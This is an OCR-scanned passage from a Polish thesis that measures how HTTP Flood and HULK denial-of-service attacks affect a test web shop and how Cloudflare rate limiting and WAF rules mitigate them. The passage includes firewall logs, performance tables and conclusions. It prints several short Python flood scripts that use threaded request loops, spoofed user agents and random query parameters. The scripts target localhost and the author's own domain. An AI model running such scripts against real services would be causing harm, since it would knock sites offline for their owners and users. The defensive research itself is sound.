Place at

Select order

First hd

Rys. 5.4. Stworzenie reguty WAF [opracowanie wlasne]

Jezeli regula ta jest aktywna i ustawili$my adres IP z ktorego przychodzity zadania
z atakow HTTP Flood oraz HULK, mozemy zaobserwowaé, iz dane zadania sa

kompletnie blokowane. Pokazane jest to na rysunkach 5.5 i 5.6.

Custom rules

Protect your website and APl from malicious traffic with custom rules. Configure mitigation
criteria and actions, or explore templates, for better security.

You have used 1 out of 5 available Custom Firewall Rules.

Q_ Search... ‘ Search

I 5 Show filters

Order  Action Name CSR (D Activity last 24hr Enabled
1 Block test_rule [ v
oc - - | 1260

URL, IP Source Address [ — |

Rys. 5.5. Uruchomienie i dziatanie reguty WAF [opracowanie wiasne]
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Firewall Events @ Create custom rule

@ Add filter Previous 24 hours v

Rule ID equals e15cc617e60f4e87a56612... X

Sampled logs l 4 Export || @ Edit columns
Date Action taken Country |P address Service
P Dec28, 2024 12:28:32 PM Block Poland 185.226.98.184 Custom rules
P Dec 28, 2024 12:28:32 PM Block Poland 185.226.98.184 Custom rules
» Dec 28, 2024 12:28:31 PM Block Poland 185.226.98.184 Custom rules
P Dec28, 2024 12:28:31 PM Block Poland 185.226.98.184 Custom rules
P Dec 28, 2024 12:28:31 PM Block Poland 185.226.98.184 Custom rules
» Dec 28, 2024 12:28:30 PM Block Poland 185.226.98.184 Custom rules

Rys. 5.6. Zablokowane zgdania za pomocg reguty WAF [opracowanie wiasne]

Sprawdzimy teraz jak obie te metody wptywaja na wydajno$¢ aplikacji serwera
podczas gdy jest ona celem ataku HTTP Flood oraz HULK.

Zaczniemy od ataku HTTP Flood. Na rysunku 5.7. pokazane jest rozpoczecie

ataku na aplikacje bez zabezpieczen:

import requests

# Cel ataku
target_url = "http://localhost:8088/agreements/getAgreements /54"

# Liczba rdwnolegtych wgtkow
NUM_THREADS = 308

def http flood():
"""Funkcja przeprowadzajgca atak HTTP Flood.™"""
while True:
try:
response = requests.get(target_url)
except requests.exceptions.RequestException as e:
print(f"Error: {e}")

if _ name__ == "__main__":
print(f"Starting HTTP Flood attack on {target url} with {NUM_THREADS} threads...™)
run_ddos_attack with_threads(http_flood, NUM_THREADS)

Starting HTTP Flood attack on http://localhost:8088/agreements/getAgreements/>4 with 30@ threads

Rys. 5.7. Uruchomienie skryptu ataku HTTP Flood na aplikacje bez zabezpieczen [opracowanie wlasne]
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Statistics

5738 T74.52% 3197.23 4675 566.00 3397.00 3801.00 4279.00 31.30 78.24 2.75

HTTP 7700 5738 T7452% 319723 1 4675 566.00 3397.00 3801.00 4279.00 31.30 78.24 275
Request

4

Rys. 5.8. Wynik testu wydajnosci aplikacji bez zabezpieczen podczas trwania ataku HTTP Flood
[opracowanie wlasne]

Wida¢ na powyzszym rysunku 5.8., iz bardzo duza czes¢ zadan zwrocita blad, a

czasy odpowiedzi sg znacznie powigkszone.

Rozpoczgcie ataku na aplikacje z zaimplementowanymi zabezpieczeniami

Cloudflare przedstawione jest na rysunku 5.9.

import requests

# Cel ataku
target_url = "http://shop.barniem.xyz/agreements/getAgreements /54"

# Lliczba rdwnolegtych wgtkdw
NUM_THREADS = 308

def http_flood():
""Funkcja przeprowadzajgca atak HTTP Flood.™™"
while True:
try:
response = requests.get(target_url)
except reguests.exceptions.RequestException as e:
print(f"Error: {e}")

if _ name_ == "_ _main__ |

print{f"Starting HTTP Flood attack on {target_url} with {NUM_THREADS} threads...")
run_ddos_attack with_threads(http_flood, NUM_THREADS)

Starting HTTP Flood attack on http://shop.barniem.xyz/agreements/getAgreements/54 with 308 threads.

Rys. 5.9. Uruchomienie skryptu ataku HTTP Flood na aplikacje z zabezpieczeniami Cloudflare
[opracowanie wlasne]

0.00% 1276.50 72 16091 927.00 2844.80 3670.00 7899.95 4.28 12.82 0.58

HTTP 3500 0 0.00% 127650 72 16091 927.00 2844.80 3670.00 7899.95 428 12.82 0.58
Request

4

Rys. 5.10. Wynik testu wydajnosci aplikacji z dzialajgcg regulqg Rate Limiting podczas trwania ataku
HTTP Flood [opracowanie wlasne]
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Mozna zauwazy¢ na powyzszym rysunku 5.10., iz $redni czas odpowiedzi
zmniejszyt si¢, lecz jest on nadal wickszy niz w przypadku, gdy aplikacji nie jest celem

ataku — maksymalny czas odpowiedzi wyniost ponad 16 sekund.

Test wydajnosci aplikacji serwera podczas trwania ataku HTTP Flood, gdy uzyta

jest reguta WAF pokazany jest na rysunku 5.11.

Statistics
Requests Executions Response Times (ms) Throughput Network (KBisec)
o~ - - E“-NA - - - e 90th - 95th - 95th - - - -
Label =~ #Samples © FAIL® % ° Average  Min~ Max~ Median™ pct ° pct °  pct | Transactions/s T Received © Sent "
Total 3650 0 0.00% 301.25 63 3401 96.00 1157.00 1225.45 1298.98 1.57 4.70 0.21
HTTP 3650 0 0.00% 301.25 63 3401 96.00 1157.00 122545 129898 157 470 0.21
Request

Rys. 5.11. Wynik testu wydajnosci aplikacji z dziatajqcq regulg WAF podczas trwania ataku HTTP Flood
[opracowanie wlasne]

Na powyzszym rysunku wida¢, iz udato si¢ wyeliminowaé opdznienia w czasie
odpowiedzi serwera na zadania, poprzez zablokowanie ruchu pochodzacego od IP

atakujacego (Spdjrz ponownie na rysunek 5.11.).

Przejdziemy teraz do ataku HULK. Zaczniemy od wykonania testu wydajnosci
aplikacji bez zaimplementowanych zabezpieczen. Na rysunku 5.12 pokazane jest

uruchomienie skryptu ataku na tg aplikacje.
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import requests
import random
import time

# Cel ataku
target_url = "http://localhost:8888/agreements/getlgreements/54"

# Liczba wgthkdw
NUM_THREADS = 208

# Losowe User-Agenty
user_agents = [

"Mozilla/5.@ (Windows NT 1©.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.8
"Mozilla/5.@ (Macintosh; Intel Mac 0S X 18 15 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
"Mozilla/5.@ (X11; Ubuntu; Linux x86_64; rv:89.08) Gecko/20100181 Firefox/89.8",

"Mozilla/5.@ (iPhone; CPU iPhone 0S 14_6 like Mac 0S X) AppleWebKit/685.1.15 (KHTML, like Gec

]

# Funkcja do wykonywania Zqdan
def hulk_attack():
headers = {
"User-Agent”: random.choice(user_agents),
"Cache-Control™: "no-cache",
"Accept-Language”: "en-US,en;q=0.9",
"Connection”: "keep-alive",
}
while True:
try:
# Generowanie losowego parametru zapytania
random_param = f"?rand={random.randint(1l, 1000060)}"
response = requests.get(target_url + random_param, headers=headers, timeout=5)
except requests.exceptions.RequestException as e:
print(f"Error: {e}")

if __name_ == "_ main__
print(f"Starting HULK attack with {NUM_THREADS} threads on {target_url}")
run_ddos_attack_with_threads(hulk_attack, NUM_THREADS)

.|
Starting HULK attack with 300 threads on http://localhost:8088/agreements/getAgreements/54

Rys. 5.12. Uruchomienie skryptu ataku HULK na aplikacje bez zabezpieczen [opracowanie wlasne]

Statistics
2550 0.00% 2213.86 46 16013 1118.00 7091.00 7310.70 8213.94 7.82 20.98

HTTP 850 0 0.00% 332111 175 16013 2399.00 7492.60 7943.30 8449.70 261 10.49 0.70
Request

HTTP 850 0 0.00% 2101.88 46 15110 307.00 7081.00 7088.45 7219.83 261 265 0.35
Request-

0

HTTP 850 0 0.00% 121860 104 15163 875.50 2730.10 384585 7819.33 261 7.85 0.35
Request-

1

Rys. 5.13. Uruchomienie skryptu ataku HULK na aplikacje testowgq bez zabezpieczen [opracowanie
wlasne]
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Powyzszy rysunek 5.13. pokazuje jak atak HULK wplywa na wydajnos¢ aplikacji

poprzez zwigkszenie Srednich i maksymalnych czaséw odpowiedzi serwera.

Uruchomienie ataku na aplikacje z zaimplementowanymi zabezpieczeniami

Cloudflare pokazane jest na ponizszym rysunku 5.14.

import requests
import random
import time

# Cel ataku
target_url = "http://shop.barniem.xyz/agreements/getAgreements /54"

# Liczba wgthkdw
NUM_THREADS = 208

# Losowe User-Agenty

user_agents = [
"Mozilla/5.8 (Windows NT 10.8; Win6d; x64) ApplelebKit/537.36 (KHTML, like Gecko) Chrome/91.8.44
"Mozilla/5.8 (Macintosh; Intel Mac 0S X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/9
"Mozilla/5.@ (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.8 (iPhone; CPU iPhone 0S 14 6 like Mac 0S X) AppleWebKit/6@5.1.15 (KHTML, like Gecko)

]

# Funkcja do wykonywania Zgdan
def hulk_attack():

headers = {
"User-Agent”: random.choice(user_agents),
"Cache-Control”: "no-cache”,
"Accept-Language”: "en-US,en;q=8.9",
"Connection”: "keep-alive”,

¥

while True:
try:

# Generowanie lLosowego parametru zapytania

random_param = f"?rand={random.randint(1, 1@eeeea)}"

response = requests.get(target_url + random_param, headers=headers, timeout=5)
except requests.exceptions.RequestException as e:

print(f"Error: {e}")

if _ name_ == "_ _main_ ":
print(f"Starting HULK attack with {NUM_THREADS} threads on {target_url}")
run_ddos_attack with_threads(hulk_attack, NUM_THREADS)

4 ——
Starting HULK attack with 20@ threads on http://shop.barniem.xyz/agreements/getAgreements/54

Rys. 5.14. Uruchomienie skryptu ataku HULK na aplikacje z zabezpieczeniami Cloudflare [opracowanie
wlasne]

Test wydajnosci, gdy uzyta jest reguta Rate Limiting pokazany jest na rysunku

5.15. Test wydajnosci gdy dziata reguta WAF jest przedstawiony na rysunku 5.16.
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Statistics

Requests Executions Response Times (ms) Throughput Network (KB/sec)

PN - - ErmrA - - e - 90th e 95th - 99th - - - -
Label = #Samples~ FAIL™ % ~ Average  Min  Max  Median~ pect ° pet ©  pect  Transactions/s T Received ~ Sent
Total 2800 312 11.14% 1325.02 1 3355 761.00 2507.00 2618.00 2738.99 42.69 98.54 5.75
HTTP 2800 312 11.14% 132502 1 3355 76100 2507.00 261800 273899 4269 98 54 575
Request

Rys. 5.15. Wynik testu wydajnosci aplikacji z dzialajgcg regulq Rate Limiting podczas trwania ataku
HULK [opracowanie wiasne]

Po uzyciu reguty Rate Limiting udato si¢ zmniejszy¢ $redni i maksymalny czas
odpowiedzi, jednak wartosci te sa wicksze niz w przypadku, gdy aplikacja nie jest
atakowana. Dodatkowo cze$¢ zadan zwrocita btad - okoto 11% (Spdjrz ponownie na
rysunek 5.15.).

Statistics
Requests Executions Response Times (ms) Throughput Network (KBisec)
- ¥ s Ew% ¥ ¥ ¥ ¥ 20t * 2ol ¥ 2 ¥ ¥ ¥ ¥
Label #Samples FAIL % Average Min Max Median pct pct pct Transactions/s Received Sent
Total 3200 0 0.00% 391.25 42 3635 116.00 1357.47 1423.85 1528.18 2.31 6.73 1.26
HTTP 3200 0 000% 3925 42 3632 M6.00 135747 1423.85 1928.18 2.31 6.73 1.26
Request

Rys. 5.16. Wynik testu wydajnosci aplikacji z dziatajqcq regutq WAF podczas trwania ataku HULK
[opracowanie wiasne]

Patrzac ponownie na rysunek 5.16. wida¢, ze po filtracji zadan i odrzuceniu ruchu
pochodzacego z IP atakujagcego udato si¢ zminimalizowaé czasy odpowiedzi oraz

sprawi¢, iz serwer nie zwrocit btedow.

5.3. Analiza wynikow

Whioskujac z przedstawionych wynikow testow wydajnosci aplikacji, udato si¢
zmitygowac skutki réznych atakow DDoS poprzez implementacji odpowiednich metod
zabezpieczen. Ataki wolumetryczne 1 sieciowe zostaty skutecznie powstrzymane za
pomocg implementacji CDN, a ataki na warstwe aplikacji zostaty powstrzymane przed
osiggnigciem celu za pomoca implementacji regutl ograniczenia prgdkosci (ang. Rate
Limiting) i WAF. Kompletna blokada ruchu przy pomocy regut WAF okazata si¢ bardziej
skuteczna, lecz samo ograniczenie nat¢zenia za pomocg Rate Limiting réwniez

przyczynito si¢ do zmniejszenia skutkow atakow.
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5.3.1. Identyfikacja potencjalnych stabych punktow

Gdyby ataki na warstwe aplikacji pochodzity z wielu adresow IP, z calego §wiata
i aby wyeliminowa¢ wszystkie zrodta atakéw konieczne by byto zastosowanie bardzo
szerokiego zakresu adresow IP, potencjalnie mogloby to wptyna¢ na dostep do aplikacji
dla zwyktych uzytkownikow. Bytoby to niechciany wynik dziatania zabezpieczen, gdyz
potencjalnie ograniczalby przychody pochodzace z dziatania sklepu. Podobnie zaszloby,
gdyby wyeliminowac ruchu z jakiegos kraju, lecz w przypadku bardzo nasilonego ataku
mogloby sie okaza¢ korzystniejsze stracenie potencjalnych przychodoéw uzyskanych od
normalnych uzytkownikow, na rzecz odblokowania korzystania z aplikacji w innych

cze$ciach $wiata.

Co do atakow wolumetrycznych i sieciowych, nalezy si¢ spodziewaé¢ mozliwos$ci
stworzenia nowych wektorow atakow w tych kategoriach, ktore moga nie zostaé
powstrzymane poprzez wykorzystanie CDN. Konieczne jest wigc monitorowanie
pojawiajacych si¢ nowych zagrozen w celu upewnienia si¢, iz zaimplementowane

zabezpieczenia sg w stanie poradzi¢ sobie z nimi.
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6. Podsumowanie

6.1. Glowne ustalenia dotyczgce atakow DDoS i zabezpieczen przed nimi

Poprzez wykonanie testow w jaki sposéb ataki DDoS wptywaja na dziatanie
aplikacji webowych, mozna u§wiadomi¢ sobie, iz sg one realnym zagrozeniem dla kazdej
dziatalnosci udostepniajacej swoje ustugi poprzez uzycie aplikacji internetowych.
Dodatkowo mozna zauwazy¢, ze ataki te sg stosunkowo proste do wykonania i nie
wymagajg zastosowania specjalistycznego oprogramowania, lub sprzetu aby byly
skuteczne. Ze wzglgdu na zmieniajace si¢ technologie i zwickszajace si¢ mozliwosci,
rosnie roéwniez rynek zajmujacy si¢ znajdowaniem sposobow jak atakowaé aplikacje
dziatajace w sieci. Ze wzgledu na to jak w roézny sposob atakujgcy moze probowaé
zaatakowac aplikacje, ataki DDoS oraz zabezpieczenia przed nimi muszg by¢ ciagle
monitorowane, w celu ustalenia czy dany system moze sobie z nimi poradzi¢. Jako iz
$wiat idzie w kierunku cyfryzacji, nalezy mie¢ na uwadze, ze systemy o bardzo wysokim
znaczeniu mogg sta¢ si¢ celem atakow. Gdyby aplikacje z rynkow bankowych lub stuzby
zdrowia zostaty zaatakowane i zaimplementowane zabezpieczanie by sobie z nimi nie
poradzily, skutki moglyby by¢ katastrofalne — potencjalny paraliz systeméw bankowych,
czy tez utrata zycia lub zdrowia wynikla z niedostgpnosci aplikacji dzialajagcych w

systemach opieki medycznej.

6.2. Wnioski z przeprowadzonych testow i eksperymentow

Ataki DDoS, ktore zostaly zaimplementowane miaty realny wplyw na jakos¢
korzystania z aplikacji webowych. Dzigki implementacji metod zabezpieczen takich jak
CDN, Rate Limiting, czy tez WAF, udato si¢ zminimalizowac¢ skutki tych atakow w celu
osiggniecia dobrze 1 szybko dziatajacej aplikacji, nawet, gdy jest ona celem atakow.
Oznacza to iz udato si¢ zrealizowaé cele pracy. Dodatkowo postawiona na wstepie
hipoteza badawcza w podrozdziale cel pracy zostata potwierdzona, gdyz udato si¢ znalez¢
i zaimplementowa¢ takie metody zabezpieczen, ze skutki atakow DDoS zostaty
zmitygowane. Nalezy mie¢ na uwadze, iz implementacja tylko jednej z tych metod

pozostawilaby aplikacje wrazliwg na inne typy atakow . Konieczne jest wigc zbudowanie
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systemu korzystajacego z wielu réznych metod zabezpieczen, aby zwigkszy¢
bezpieczenstwo aplikacji webowych przed ré6znymi atakami DDoS. Dodatkowo nalezy
mie¢ na uwadze, ze ataki DDoS mogg by¢ tylko cze$ciach wiekszego ataku na aplikacje
wykorzystujacego rozne inne wektory atakow na aplikacje internetowe. Dodatkowo
nalezy bra¢ pod uwage fakt, iz atakujacy wciaz pracujg nad znalezieniem nowych metod
atakow w celu wykorzystania potencjalnych stabych punktow systeméw. Dotyczy to
rowniez atakow DDoS, ktére korzystaja z faktu, iz aplikacje webowe wymagajg
potaczenia z Internetem o sprawia, ze zawsze bedg potencjalnym celem. Jezeli beda
pojawia¢ si¢ nowe metody i protokoty komunikacji z aplikacjami webowymi, beda
pojawia¢ si¢ rowniez nowe rodzaje atakow DDoS, co sprawia, iz konieczne jest ciggle

monitorowanie zagrozen i ewaluacja zaimplementowanych zabezpieczen.

6.3. Rekomendacje dla praktyki i dalszych badan

Badania mozna rozwija¢ w kilu réznych kierunkach:

e Mozliwa jest implementacja innych rodzajow atakow DDoS oraz proba
wykonywania réznych atakow jednoczes$nie.

e 7 drugiej strony mozna probowac zaimplementowa¢ inne metody zabezpieczen
przed atakami DDoS 1 sprawdza¢, jak one radza sobie z zagrozeniami.

e Badania przeprowadzane byly w kontekscie aplikacji webowych, lecz mozna
réwniez zastanowi¢ si¢ jak inne rodzaje aplikacji radza sobie z atakami DDoS.
Przykladowo aplikacje mobilne: sa jednym z najszybciej rozwijajacych sig
rynkow 1 posiadajg swoje wilasne ograniczenia, ktore moga by¢ wykorzystane

przez atakujacych.
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